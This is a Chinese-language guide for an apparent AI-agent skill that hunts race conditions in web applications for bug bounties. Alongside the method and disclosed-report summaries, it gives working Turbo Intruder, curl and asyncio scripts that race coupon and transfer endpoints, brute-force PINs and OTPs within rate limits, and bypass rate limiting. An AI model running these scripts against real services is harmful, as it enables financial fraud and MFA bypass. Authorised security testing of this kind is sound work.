关于 hunt-race-condition
hunt-race-condition 是用于识别 Web 应用和 API 竞态条件的安全测试技能,重点关注限次操作、状态变更和并发请求,并要求验证实际影响与可复现性。
主要功能
- 01识别一次性与限次操作
- 02追踪状态读取、写入和校验
- 03并发发送请求
- 04分析响应及最终状态
- 05测试锁与幂等性防护
- 06验证可复现性和实际影响
适用场景
- 01检查优惠券或额度能否重复兑换
- 02测试重复投票或重复履约
- 03评估账户限制流程中的竞态窗口
- 04用可重复结果验证竞态条件
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-race-condition安装后在 Claude Code 中输入/hunt-race-condition确认已加载。
详细介绍
高价值目标
竞争条件属于高严重性漏洞,因为它们会破坏财务、访问控制和完整性方面的假设,而防御方很少对这些假设进行压力测试。赏金最高的目标包括:
- 货币/额度系统 — 礼品卡、优惠券、推荐奖励、促销额度和钱包余额的重复消费
- 投票/声誉操纵 — 对同一内容重复点赞,操纵排行榜或热门算法
- 绕过账户限制 — 超出免费套餐配额,绕过邀请、试用激活或 API 密钥生成中的“每位用户限一次”限制
- 权限提升 — 在创建用户/升级流程中,对角色分配或权限检查发起竞速
- 绕过删除机制 — 在“标记为待删除”和“实际删除”之间的短暂窗口内读取或窃取数据
- 支付流程 — 只扣款一次,却收到多次履约
赏金最高的资产类型: 金融科技应用、采用额度/订阅模式的 SaaS 平台、具有声誉系统的社交平台、电商结账流程、OAuth/SSO 令牌端点。
攻击面信号
URL 模式
/vote, /upvote, /like, /favorite
/redeem, /apply-coupon, /use-code, /claim
/purchase, /checkout, /confirm-order, /pay
/transfer, /withdraw, /send-money
/invite, /referral, /accept-invite
/upgrade, /activate, /trial
/delete, /deactivate, /cancel
/follow, /subscribe
表明后端易受竞态影响的响应头
X-RateLimit-* # rate limiting exists, but may not be atomic
X-Request-Id # each request independently tracked
No Cache-Control # stateful ops not idempotent
可用于搜索的 JavaScript 模式
// Single-use action buttons with client-side disable
button.disabled = true
$('#btn').prop('disabled', true)
// Optimistic UI updates (state set before server confirms)
setState({ used: true })
// Sequential async calls without locking
await useVoucher(); await deductBalance();
技术栈信号
- 未使用
with_lock/lock!的 Ruby on Rails — ActiveRecord 默认不会加锁 - 使用 async/await 链的 Node.js — 数据库读取和写入并非原子操作
- 未使用
SELECT ... FOR UPDATE的 PHP — 在旧代码库中很常见 - 微服务 — 服务间调用会自然产生 TOCTOU 窗口
- 未使用 Lua 脚本或
INCR原子性检查的 Redis 计数器 - 消息队列 — 通常缺少幂等键
分步漏洞挖掘方法
-
枚举一次性或限次操作 — 列出所有强制执行“每位用户限一次”“数量有限”或“扣减余额”限制的端点。这些是你的主要目标。
-
了解状态机 — 对于每个目标操作,确定:(a) 读取了什么状态,(b) 写入了什么状态,(c) 读取和写入之间有哪些验证。读取与写入之间的间隔就是你的攻击窗口。
-
捕获干净的基准请求 — 使用 Burp Suite 拦截请求,合法执行一次操作。确认行为符合预期,即该操作只能使用一次(例如,优惠券标记为已使用,投票只计数一次)。
-
设置并行请求工具 — 选择以下一种:
- Burp Suite Repeater → “Send group in parallel”(使用 Turbo Intruder 发起 HTTP/2 单数据包攻击)
- 使用
engine=Engine.BURP2实现最后字节同步的 Turbo Intruder - 使用
&在后台运行curl - 使用 Python
threading或asyncio配合预先建立的连接
-
执行竞速 — 同时发送 10–50 个相同的请求。关键技巧:预先建立连接并缓冲所有请求,然后同时释放所有请求的最后一个字节(HTTP/2 可用时使用单数据包攻击)。
-
分析响应 — 留意以下情况:
- 出现多个
200 OK响应,而本应只有一个请求成功 - 重复的成功消息
- 数据库约束错误(表明竞速成功,但触发了最后一道防线)
- 响应时间不一致(一个很快、其余很慢 = 已串行化;速度都相同 = 并行处理)
- 出现多个
-
验证效果 — 检查实际状态:额度是否重复到账?投票计数是否多次增加?优惠券是否在两次操作都成功后仍标记为未使用?
-
确定可利用窗口 — 逐步减少并行请求数(5 个、3 个、2 个请求)并重新运行,了解窗口有多短以及利用的可靠性如何。
-
测试不同账户类型 — 有时竞速只对新账户、特定订阅等级或特定服务器负载有效。请测试不同条件。
-
记录复现步骤 — 报告前,记录确切的时序、所需的并行请求数,以及 5 次独立尝试中的成功率。
载荷与检测模式
Turbo Intruder — 基础并行竞态
# turbo_intruder_race.py
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2) # HTTP/2 single-packet
for i in range(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1')
def handleResponse(req, interesting):
if '200' in req.status:
table.add(req)
curl — 并行请求(bash)
# Fire 15 simultaneous vote/redeem requests
for i in $(seq 1 15); do
curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}\n" \
-X POST "https://target.com/api/vote" \
-H "Cookie: session=YOUR_SESSION" \
-H "Content-Type: application/json" \
-d '{"report_id": "12345", "vote": "up"}' &
done
wait
Python asyncio 竞态
import asyncio, aiohttp
async def race_request(session, url, payload, headers):
async with session.post(url, json=payload, headers=headers) as r:
return await r.text()
async def main():
url = "https://target.com/redeem"
payload = {"code": "GIFT50"}
headers = {"Cookie": "session=XXXXX"}
async with aiohttp.ClientSession() as session:
tasks = [race_request(session, url, payload, headers) for _ in range(20)]
results = await asyncio.gather(*tasks)
for r in results:
print(r[:100]) # print first 100 chars of each response
asyncio.run(main())
源代码审计的 Grep 模式
# Look for read-then-write without locking
grep -rn "find_by\|where.*first" --include="*.rb" | grep -v "lock"
grep -rn "SELECT.*WHERE" --include="*.php" | grep -v "FOR UPDATE"
# JavaScript async without atomicity
grep -rn "await.*get\|await.*find" --include="*.js" -A2 | grep "await.*update\|await.*save"
# Python Django ORM without select_for_update
grep -rn "\.get(\|\.filter(" --include="*.py" | grep -v "select_for_update"
HTTP/2 单数据包检查
# Verify target supports HTTP/2 (prerequisite for single-packet attack)
curl --max-time 30 --connect-timeout 10 -sI --http2 https://target.com | grep -i "HTTP/2\|h2"
常见根本原因
-
检查后执行,但未使用原子操作 — 开发者先读取状态(
if voucher.used == false),然后写入状态(voucher.update(used: true)),分两次独立的数据库操作完成。任何线程都可能在写入发生前读到相同的“未使用”状态。 -
缺少数据库级锁定 — 使用
find或filter等 ORM 方法,而不是SELECT ... FOR UPDATE。修复只需一行代码,但开发者不会想到并发问题。 -
乐观并发控制未进行版本检查 — 系统递增计数器或标记记录,却不检查记录自读取后是否发生了变化。
-
微服务 TOCTOU — 服务 A 验证资格,服务 B 执行操作。两个服务之间没有覆盖两者的共享原子事务。
-
客户端“保护” — 开发者在首次点击后通过 JavaScript 禁用按钮,认为这样就能防止重复提交。服务端逻辑从未得到强化。
-
在事务之外递增计数器 — 使用
votes_count += 1; save(),而不是原子 SQLUPDATE SET votes = votes + 1 WHERE id = ?。 -
异步后台任务 — 同步检查资格,异步完成履行。第一项任务完成前,第二个请求就通过了检查。
-
缓存未失效 — 第一次写入尚未传播时,如果恰逢缓存未命中窗口,缓存中的“用户是否已投票?”检查就会返回过期的
false。
绕过技术
防御方实施的措施(以及如何绕过)
防御:按用户限速
- 绕过:限速会在操作执行前检查。同时发送请求——在任何请求被计数前,所有请求都能通过限速检查。
防御:幂等键 / 唯一请求令牌
- 绕过:如果令牌由服务器生成或复用,尝试不带令牌发送并行请求。或者检查唯一性校验本身是否存在竞态窗口。
防御:数据库唯一约束
- 绕过:唯一约束会在竞态发生之后才捕获重复项。在数据库强制执行约束前,前两个请求可能都会成功。留意只完成部分操作的情况——有时一个请求成功、另一个报错,但两者都已生效。
防御:较短的时间窗口 / 会过期的令牌
- 绕过:预先准备好所有带有效令牌的请求。使用单数据包 HTTP/2,在一个 TCP 帧中释放所有请求——服务器会在同一个调度时隙中处理它们。
防御:基于队列的串行化
- 绕过:多个队列(或多个消费同一队列的工作进程)可能会取出重复消息。在竞态窗口期间压垮队列进行测试。
防御:应用层互斥锁 / 锁
- 绕过:运行多个应用服务器的分布式系统不会共享进程内锁。通过不同 CDN 节点或负载均衡服务器向同一端点发送请求。
防御:应用代码中的“已使用”检查
- 绕过:检查和更新是分开的。两个竞态请求都会在任一更新完成前通过检查。只有原子操作
UPDATE ... WHERE used=false RETURNING id才能真正防止这种情况。
第 0 阶段验证
撰写报告前,请确认以下三点:
-
攻击者现在能做什么? 你能否通过截图或日志证明,同一个一次性操作成功执行了多次?(例如,某个用户的投票数增加了 2,积分余额获得了双倍积分,优惠券被兑换了两次。)
-
受害者会失去什么? 是否存在具体、可衡量的损害?财务损失(超额发放积分)、完整性损失(操纵排名/投票),或安全损失(授予超出权限范围的访问权)?“计数器增加了两次”只有在该计数器具有现实价值时才算有效。
-
能否在 10 分钟内从头复现? 你能否编写一个 20 行的脚本,在全新的测试账号上运行,并在至少 3/5 次尝试中稳定复现重复效果?如果需要你无法稳定控制的精准时机,那么关于漏洞可利用性的说法就缺乏说服力。
真实影响案例
场景 1:社交平台投票操纵
某漏洞赏金平台的“热门报告”功能会通过点赞提升报告的可见度和研究人员的声誉评分。研究人员通过单个 HTTP/2 连接(单数据包攻击)并行发送约 15 个针对同一报告的点赞请求,成功用单个账号登记 10–15 票。这使其得以人为抬高报告排名、操纵研究人员的声誉评分,并扭曲平台的众包优先级排序系统,直接损害了用户对平台核心漏洞报告分流功能的信任。
场景 2:大型社交网络——促销操作重复执行
某大型社交网络(Facebook 级别)中的促销或限次操作——例如,添加电话号码以获得一次性安全积分,或领取一次性奖励——容易受到同时并行请求的影响。攻击者可以对领取端点发起竞速请求,多次获得促销福利,导致平台直接遭受财务损失,并允许攻击者大规模非法积累平台货币或福利。考虑到用户规模,即使在修复前只有很短的窗口期,也会造成重大财务风险。
场景 3:云基础设施提供商——绕过资源限制
某云托管提供商限制免费套餐用户可创建的资源数量(例如,droplet、项目或 API 密钥)。限制检查和资源创建是非原子操作。攻击者通过同时发送 20 个创建请求来竞速调用创建端点,绕过限制执行逻辑,创建远超套餐限额的资源。这会直接导致未经授权的计算资源消耗、账单欺诈和基础设施滥用,既影响提供商的收入,也影响合法用户使用的系统稳定性。
已披露报告引用(补充 +9——2016–2024)
以下真实且经过验证的漏洞赏金/协调披露案例进一步扩展了这项技能。其中四个案例(#4、#11、#12 以及额外参考案例)使用了现代的 HTTP/2 单数据包攻击技术(Kettle,DEF CON 31,2023;Flatt Security,2024 年扩展版)——正是这项技术让如今大多数现代竞速攻击变得可行。
4. GitLab — CVE-2022-4037 邮箱验证竞态(Kettle DEF CON 31 案例研究)(NVD · PortSwigger Research)
- 子类:密码重置/邮箱变更令牌竞态(邮箱验证上的 TOCTOU)
- 单数据包 HTTP/2:是——《Smashing the State Machine》中的旗舰案例研究
- 载荷:两个并发的 POST /-/profile 请求,将邮箱分别改为两个不同的地址;由于状态转换并非原子操作,发送至地址 A 的验证令牌会对地址 B 生效
- 根本原因:Devise(Rails 身份验证)在新邮箱持久化之前就生成了确认令牌;并发更新导致令牌被发往错误地址
- 年份:2022(2023 年披露),CVSS 6.4,已在 15.7.2 / 15.6.4 / 15.5.7 中修复
-
Worldcoin(Tools for Humanity)— World ID 操作验证竞态(Medium 文章)
- 子类:投票/点赞数量膨胀(绕过一人一操作限制)
- 载荷:通过 Burp 的“Send in Parallel”功能,向验证端点发送约 20 个并行请求
- 根本原因:
canVerifyForAction在未使用数据库级锁的情况下向数组追加内容;修复方案新增了nullifiers表,并使用原子 UPSERT - 年份:2023 — $3,000(高危)
-
Stripe — 优惠码超过限额仍可兑换(H1 #1717650)
- 子类:优惠券重复兑换
- 载荷:创建兑换限额为 1 的促销活动;打开同一商户的两个支付链接标签页,在两边都使用优惠券,然后同时点击支付 → 两笔支付均成功
- 根本原因:兑换计数器在扣款后才递增,且未与扣款以原子方式执行;
promotion_code.times_redeemed没有行级锁 - 年份:2022 — $250
-
Stripe — 多次兑换费用折扣(H1 #1849626)
- 子类:钱包/余额双重支出(Connect 费用折扣可重复兑换)
- 载荷:在一次性促销抵用金的已消耗标志更新之前,向兑换端点并行发送多个 POST 请求
- 根本原因:对抵用金余额对象进行的检查后再扣减操作并非原子操作
- 年份:2023 — $5,000,每次兑换造成约 $600 的平台费用损失
-
marketplace.example.com — 礼品卡多次兑换(H1 #759247)
- 子类:优惠券重复兑换(礼品卡)
- 载荷:捕获
POST /gift_cards/redeem→ 复制 N 次 → 并行发送 → 一张卡的余额被计入 N 次 - 根本原因:余额入账后才写入礼品卡消费标记;读取兑换信息时没有使用
SELECT…FOR UPDATE - 年份:2019 — $1,500(奠基性/广泛引用的案例)
-
Cosmos / Starport 水龙头 — 重复铸造竞态(H1 #1438052)
- 子类:钱包/余额双重支出(加密货币水龙头代币发行)
- 载荷:同时发送
/faucet/transfer请求;每个请求中的TransferGo 函数都会执行两个修改状态的操作,且二者均非原子操作 - 根本原因:水龙头处理程序未按接收方加锁;transfer() 的读取—修改—写入操作未序列化
- 年份:2022 — $5,000(CVSS 9.3)
-
InnoGames — 邮箱激活竞态 → 无限钻石(H1 #509629)
- 子类:推荐滥用倍增/账户创建竞态(一个激活令牌 → 多次发放“首次激活奖励”)
- 载荷:在
token_used标志提交之前,使用同一枚一次性令牌对邮箱激活端点发起竞态请求 → 每个获胜请求都会获得奖励 - 根本原因:令牌消费标志与奖励发放在同一事务中设置,但事务隔离级别过低(READ COMMITTED)
- 年份:2019 — $2,000
-
RyotaK / Flatt Security——“First Sequence Sync” PIN 暴力破解(单数据包扩展至 10,000 个请求) (Flatt Security Research)
- 子类:通过竞争绕过速率限制 / MFA-OTP-validate 竞争(6 位 PIN,最多尝试 5 次)
- 单数据包 HTTP/2:是——通过将请求拆分到 IP 分片中,并同步 TCP first-sequence,将 Kettle 的单数据包攻击从约 30 个请求扩展到 166 ms 内的 10,000 个请求
- 载荷:166 ms 内并发发送约 10,000 个
POST /verify-pin请求,每个请求使用不同的 4-6 位猜测值,且全部落在速率限制时间窗口内 - 根本原因:速率限制计数器以异步方式逐个请求递增;整个批次的“最多尝试 5 次”限制读取的都是过期计数器
- 年份:2024 年——必须引用的现代单数据包示例
-
nopCommerce——CVE-2024-58248 礼品卡重复兑换 (NVD)
- 子类:优惠券重复兑换(电商结账 TOCTOU)
- 单数据包 HTTP/2:是——单数据包攻击可稳定复现此问题
- 载荷:两个并行的
POST /checkout/PlaceOrder请求均使用同一张礼品卡 → 两笔订单均成功完成,但礼品卡余额只扣减一次 - 根本原因:下单代码路径未对礼品卡余额行实施锁定 → 检查后扣款操作并非原子操作
- 年份:2024 年(4.80.0 之前的版本)
HTTP/2 单数据包攻击——深入参考
单数据包攻击是 2020 年以来发表的最重要的竞争条件技术。它将竞争窗口从“TCP 握手抖动导致的几十毫秒”压缩为“服务器工作线程池分派 N 个预缓冲请求所需的时间”——整个批次通常不到 1 ms。正因如此,现代竞争条件漏洞利用才能攻击过去看似无法触发竞争条件的、受到速率限制且分布式、经过负载均衡的后端。
原始研究:James Kettle,PortSwigger——“Smashing the State Machine”(DEF CON 31,2023 年 8 月) portswigger.net/research/smashing-the-state-machine。2024 年扩展研究:RyotaK / Flatt Security——“Beyond the Limit: Expanding Single-Packet Race Condition with First Sequence Sync” flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/。
原理 — 架构
竞态攻击之所以会失败,原因有两个,看起来像是同一个问题,实则并非如此:
- 网络抖动 — 通过同一 TCP 连接依次发送的 N 个请求到达服务器时,会出现 0.5–5 ms 的时间差,具体取决于 RTT 和网络拥塞情况。
- 服务器端调度顺序 — 即使所有 N 个请求在同一毫秒内到达,工作线程池也可能通过负载均衡器或接受队列将它们串行化。
单数据包攻击通过利用 HTTP/2 的两个协议层特性解决了问题(1):
- HTTP/2 会在一个 TCP 连接上多路复用 N 个请求,并将每批请求作为一个 TLS 记录发送。
- TLS 记录可以承载多个 HTTP/2
HEADERS帧,且每个 HEADERS 帧都可以是独立流的最后一个帧。
因此,如果你在单个 HTTP/2 连接上预先准备 N 个请求 — 发送除每个请求最后一个字节之外的所有 HEADERS 帧,然后在一次 TCP 写入中释放所有最后字节 — TCP 协议栈就会将它们装入一个 IP 数据包(假设大小小于 MTU,约 1500 字节)。服务器内核会在同一个调度周期内将所有 N 个请求交给 HTTP/2 解析器。竞态窗口不再由网络造成,而是应用自身的原子性失效窗口。
对于问题(2)——服务器端调度顺序——Kettle 表明,现代后端(Node.js、Go、异步 Python)在收到包含 N 个已预解析请求的数据包后,会在微秒级时间内并发调度请求。较旧的阻塞式后端(默认的 Apache prefork、单线程 PHP-FPM)即使在单数据包传送的情况下也会串行处理;对于这类后端,这种技术的效果较弱,但仍优于通过 TCP 流依次发送请求。
最后字节同步技术
Kettle 记录的具体机制如下:
- 建立一个 HTTP/2 连接。协商 TLS,发送 SETTINGS 帧,并接受服务器的 SETTINGS 帧。
- 对于 N 个请求中的每一个,发送其带有 END_HEADERS 标志的
HEADERS帧,以及一个包含除正文最后一个字节外所有内容的DATA帧。此时不要设置 END_STREAM。 - 由于 END_STREAM 尚未触发,服务器无法调度该请求,只能等待下一个字节。
- 对同一连接上的所有 N 个请求重复步骤(2)。此时每个请求都已缓存在服务器端,并已解析至“即将完成”。
- 在一次 TCP 写入中,发送 N 个很小的
DATA帧,每帧携带 1 个字节并设置 END_STREAM。 TCP 会将它们合并为一个出站报文段。服务器的 HTTP/2 解析器会在同一个调度周期内看到所有 N 个流上的 END_STREAM。 - 服务器会在微秒级时间内将 N 个请求调度给 N 个工作线程。
竞态窗口等于工作线程 N 执行 SELECT ... FOR UPDATE 与工作线程 N+1 执行同一查询之间的时间——当这些工作线程运行在同一个 CPU 上时,通常只有纳秒级。
Wireshark 验证
要确认你的攻击工具确实实现了单数据包同步(而非意外分片):
- 在攻击期间捕获回环接口或出站接口上的流量:
sudo tcpdump -i lo0 -w race.pcap port 443(或接口 0)。 - 在 Wireshark 中打开捕获文件,并筛选
tls and tcp.port == 443。 - 找到包含 END_STREAM 刷新的 TLS 记录。它应当在一个 TLS 记录、一个 TCP 报文段中包含 N 个设置了 END_STREAM 的 H2 DATA 帧。
- 如果你看到 N 个 TLS 记录或 N 个 TCP 报文段,说明你的工具正在依次发送请求。竞态窗口就是报文段之间的间隔——通常太大。
当请求正文符合 MTU 大小时,Turbo Intruder 的 engine=Engine.BURP2 实现可保证在 HTTP/2 目标上进行单数据包传送。对于更大的正文,请参阅下方的“竞态窗口估算”小节。
h2.0 单帧竞速与 h2.cl 多帧竞速
根据目标使用的协议,有两种变体:
- h2.0 单帧(标准 Kettle 攻击):端到端纯 HTTP/2。在一个 TLS 记录中发送 N 个请求。适用于任何前端通过 HTTPS 提供服务且在 ALPN 中公布
h2的现代目标。默认方案。 - h2.cl 多帧:前端通过 HTTP/2 与客户端通信,再降级为 HTTP/1.1 与后端通信。与请求走私相关——你可以构造一个 HTTP/2 请求,其
Content-Length会让前端误以为需要在同一连接上向后端发送两个 HTTP/1.1 请求。可与 HTTP 请求走私搭配使用(参见hunt-http-smuggling)。当单数据包 HTTP/2 在前端被过滤,但后端可通过 HTTP/1.1 访问时很有用。
通过 curl -sI --http2 https://target.com | grep -i HTTP/2 检测 h2.0 是否可用。如果服务器不支持 h2,则不能直接使用单数据包方案——改用 HTTP/1.1 的“并行流水线”方案(竞速窗口大得多;通常无法赢过现代后端,但对简单的后端仍然有用)。
竞速窗口估算方法
发起攻击前,先估算竞速窗口。这有助于判断是否需要单数据包方案,以及要发送多少个并发请求。
- 向目标端点发送单个请求。在线路上捕获响应时间:
T_single。 - 连续发送两个请求。捕获两个响应时间:
T_seq1、T_seq2。 - 通过同一连接并发发送两个请求(使用 HTTP/2 多路复用或 HTTP/1.1 流水线)。捕获两个响应时间:
T_par1、T_par2。 - 如果
T_par1 ≈ T_par2 ≈ T_single,服务器会并行处理两个请求——竞速窗口为min(T_par1, T_par2),单数据包方案能显著提高成功率。 - 如果
T_par2 ≈ T_par1 + T_single,服务器会串行处理请求——竞速窗口取决于连续处理的工作线程之间发生的情况;单数据包方案帮助较小,但仍能减少 TCP 抖动的影响。 - 对于 PIN、OTP、优惠券兑换端点,预期
T_single为 10–100 ms(数据库查询延迟)。服务器内部的竞速窗口通常小于 1 ms(对同一行执行SELECT与UPDATE之间的间隔)。 - **N 的经验法则:**单数据包 h2 方案先从并发
N = 30个请求开始。如果目标的T_single小于 10 ms(端点非常快,需要更大的预缓冲来溢出工作线程池),则增加到 100 个以上。使用 Flatt 的 first-sequence-sync 扩展(见下文)时,最多可达 10,000 个。
单连接多流与多连接单流
选择合适请求结构的决策指南:
- 单连接,N 个流(默认 Kettle / Turbo Intruder BURP2 引擎):在一个 TCP 连接上建立 N 个并发 HTTP/2 流。**适用场景:**目标支持 HTTP/2;请求正文在 TLS 开销后可放入 MTU(约 1400 字节);需要的 N ≤ 约 30。
- 多个连接,每个连接一个流(较旧的 HTTP/1.1 并行方案):建立 N 个 TCP 连接,每个连接发送一个请求。**适用场景:**目标不支持 HTTP/2,或请求正文较大(> MTU)。竞速窗口会显著扩大(TCP 握手间隔为 5–50 ms)——仅适用于响应较慢的服务器。
- 多个连接,每个连接多个流(Flatt 的 first-sequence-sync,2024):建立 N 个 TCP 连接,每个连接承载 M 个流。请求总数 = N×M。该方案通过在多个连接间同步 TCP 初始序列号,使所有数据包都能在同一处理窗口内到达服务器。**适用场景:**需要 N > 30 时(例如,在 5 次尝试的速率限制窗口内暴力破解 6 位 PIN——Flatt 展示了通过同步 SEQ 编号将请求拆分到 IP 分片中,在 166 ms 内发送 10,000 个请求)。
Turbo Intruder Engine.BURP2 模板详解
def queueRequests(target, wordlists):
# 1. Engine.BURP2 = HTTP/2 single-packet engine; provides the last-byte-sync primitive.
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1, # 2. One TCP connection, multiplexing all streams.
requestsPerConnection=100, # 3. Up to 100 concurrent H2 streams. >30 needs Flatt-extension.
engine=Engine.BURP2, # 4. THE critical line — selects the single-packet engine.
pipeline=False, # 5. Pipelining is for HTTP/1.1; irrelevant on H2.
)
# 6. Build N requests. Each is identical here — racing the same endpoint.
# For PIN brute-force, vary the body across requests.
for i in range(30):
engine.queue(target.req)
# 7. openGate(...).complete(...) is the API call that performs last-byte-sync:
# - Buffer all 30 requests up to "last byte not sent"
# - Release all final bytes in a single TCP write
# - openGate returns immediately; complete waits for all responses.
engine.openGate("race1")
engine.complete(timeout=10)
Engine.BURP2 导入负责完成繁重工作。其内部机制如下:
- 每次调用
engine.queue(req),都会向连接的发送缓冲区添加一个 HEADERS 帧,但会暂缓发送最后一个 DATA 帧字节。 openGate("race1")会阻塞,直到所有 30 个请求都进入缓冲区,然后调用一次socket.send(...),发送 30 个包含 1 字节 DATA 的帧,并带有 END_STREAM。假设数据小于 MTU,30 个请求都会在一个 IP 数据包中传输。complete(timeout=10)会收集响应和耗时。
检查每个响应对象:req.code、req.length、req.time。如果至少有 2 个请求返回成功,而按逻辑它们本应互斥(例如兑换上限为 1,但两个优惠券兑换都成功),就算赢得了竞态。
Flatt 的首序列号同步扩展(需要 N > 30 时)
受 MTU 和 TLS 记录大小限制,Kettle 的原始实现最多只能处理约 N=30。Flatt Security 的 RyotaK 于 2024 年 8 月发布了扩展:
- 利用 IP 分片:IP 层上的一个“逻辑”数据包可以拆分为多个实际的 IP 分片。
- 通过同步完成 TLS 握手并对齐 SYN/SYN-ACK 时间,在多个连接之间强制同步 TCP SEQ 序列号。
- 结果:在 166 毫秒内向服务器发送 10,000 个并发请求,所有请求都落在服务器认为是原子操作的速率限制窗口内。
适用场景:在每个窗口最多尝试 5 次的限制下,暴力破解 6 位 PIN(最多 10^6 个候选值)。没有首序列号同步时,大约需要 200,000 个窗口;使用该方法后,大约只需 100 个窗口。
实现:flatt.tech/research/posts/beyond-the-limit-... 提供了可用的 PoC。
操作人员指南(何时选择哪种方案)
| 场景 | 工具 / 变体 |
|---|---|
现代 HTTPS 目标,ALPN 通告 h2,请求正文 < 1400 字节,需要 N ≤ 30 | Turbo Intruder Engine.BURP2 单数据包方案——默认选择 |
| 与上述相同,但请求正文 > MTU | 多连接 HTTP/2;将窗口估算值扩大约 5 毫秒 |
| 目标仅支持 HTTP/1.1(无 h2 ALPN) | curl --next 并行流水线;竞态窗口较大,仅适用于慢速服务器 |
| 需要 N > 30(PIN 暴力破解、在速率限制窗口内耗尽 OTP) | Flatt 首序列号同步扩展;根据文章手动实现 |
| 前端使用 h2,后端使用 h1(CDN + 源站) | h2.cl 请求走私变体——与 hunt-http-smuggling 配合使用 |
| 在单个端点上快速进行复现测试 | curl --next --next --next --next(4 个并行 HTTP/1.1 请求)——窗口较大,但无需设置 |
反模式
- 不要仅凭 Burp Repeater 的“并行发送组”模式中观察到两个几乎同时成功的请求,就声称存在“竞态条件”——该模式使用 HTTP/1.1 流水线,各请求间隔数毫秒,并非单数据包。漏洞分流人员了解这一点,通常会降低问题评级。
- 高价值竞态问题若未通过 Wireshark 确认,不要提交。 最有价值的提交材料是:PoC 视频展示 Turbo Intruder 发出请求,Wireshark 抓包显示所有 N 个 END_STREAM 帧都位于同一个 TCP 段中,以及 N 个本应互斥的成功响应。
- 不要对实际不存在竞态的端点使用单数据包方案(例如使用行级锁和事务的端点)。设置窗口估算步骤就是为了在投入 2 小时制作 PoC 之前筛除这类目标。
交叉引用
hunt-http-smuggling— h2.cl 多帧变体hunt-mfa-bypass— OTP 速率限制窗口单数据包绕过(Flatt PIN 暴力破解类别)hunt-business-logic— 优惠券 / 钱包 / 促销状态机竞态,单数据包是其中的关键手段- 上文引用的已披露报告 — 引用 #4、#11、#12 是单数据包技术的典型案例(GitLab/Devise CVE-2022-4037、Flatt 10k 请求 PIN 暴力破解、nopCommerce CVE-2024-58248)
Turbo Intruder 完整模板 — 完整 Python 代码
下面提供适用于各种主要竞态条件场景的 Turbo Intruder .py 模板,均可直接运行。
每个模板都是独立的 Burp Turbo Intruder 扩展脚本 — 保存为 .py,加载到 Turbo Intruder 中,
然后指向目标端点。
模板 1:基本单包竞态(优惠券 / 投票 / 兑换)
# turbo_basic_race.py
# Use against: coupon redemption, upvote/like, gift-card redeem, one-time actions
# Strategy: Send N identical requests in a single HTTP/2 packet. If the endpoint
# lacks atomic check-then-write, multiple succeed.
#
# Tune N: start at 20, increase to 50-100 if the server is fast (<10ms response).
# If using HTTP/1.1 only, remove engine=Engine.BURP2 line.
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1, # Single TCP connection
requestsPerConnection=100, # H2 stream limit
engine=Engine.BURP2, # Single-packet engine (HTTP/2 only)
pipeline=False,
)
# Queue N identical requests, all gated
for i in range(30):
engine.queue(target.req, gate='race1')
# Release all final bytes in a single TCP write
engine.openGate('race1')
engine.complete(timeout=10)
def handleResponse(req, interesting):
# Log all 200/201/202 responses — if count > expected_successes, race won
if req.status in ('200', '201', '202', '204'):
table.add(req)
模板 2:每个请求使用不同负载(PIN 暴力破解 / OTP 猜测)
# turbo_pin_bruteforce.py
# Use against: PIN-based MFA, OTP validation, numeric codes, short tokens
# Strategy: N concurrent guesses inside a single rate-limit window.
# Requires: known target account, known PIN length (e.g., 6 digits).
# Combine with Flatt first-sequence-sync for 10,000+ concurrent guesses.
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=200,
engine=Engine.BURP2,
)
# Generate all 4-digit PINs (0000-9999) — 10,000 candidates
# This would be split across multiple runs. For single-packet,
# test batches of ~50-100 at a time.
for pin in range(10000):
pin_str = f"{pin:04d}"
# Build request body with the PIN
body = target.req.replace(b'FUZZ', pin_str.encode())
engine.queue(body, gate='race1')
engine.openGate('race1')
engine.complete(timeout=30)
def handleResponse(req, interesting):
# A non-403/non-rate-limited response signals a hit
if req.status != '403' and req.status != '429':
table.add(req)
模板 3:多端点竞态(存款 + 取款 / 转账 + 确认)
# turbo_multi_endpoint.py
# Use against: wallet transfer (withdraw-to-A + deposit-to-B),
# balance-confirm race, double-spend across endpoints
# Strategy: Race two different endpoints that share state (common in fintech).
# Queue requests in alternating order so they arrive simultaneously.
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=100,
engine=Engine.BURP2,
)
# Request 1: withdraw from account A (requires target A's endpoint base)
# Request 2: deposit to account B
# Alternate so the server processes both in the same scheduler tick
transfer_req = b'POST /api/transfer HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"from\": \"acc_A\", \"to\": \"acc_B\", \"amount\": 1000, \"nonce\": \"RACE_NONCE\"}'
confirm_req = b'POST /api/confirm-transfer HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"transfer_id\": \"RACE_NONCE\", \"confirm\": true}'
# Queue interleaved
for i in range(15):
engine.queue(transfer_req.replace(b'RACE_NONCE', str(i).encode()), gate='race1')
engine.queue(confirm_req.replace(b'RACE_NONCE', str(i).encode()), gate='race2')
# Release both gates simultaneously
engine.openGate('race1')
engine.openGate('race2')
engine.complete(timeout=15)
def handleResponse(req, interesting):
table.add(req)
模板 4:通过竞态绕过速率限制
# turbo_rate_limit_bypass.py
# Use against: endpoints with per-minute/per-second rate caps
# Strategy: N concurrent requests from the same session/IP all pass
# the rate-limit check before any increments the counter.
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=100,
engine=Engine.BURP2,
)
# Queue enough requests to exhaust the rate-limit window + extras
for i in range(100):
engine.queue(target.req, gate='race1')
engine.openGate('race1')
engine.complete(timeout=10)
def handleResponse(req, interesting):
# Compare responses — if first N succeed then rate-limit kicks in,
# the race is partial. If ALL return 200, rate limiter is completely
# bypassed by the concurrent batch.
if req.status == '200':
table.add(req)
elif req.status == '429':
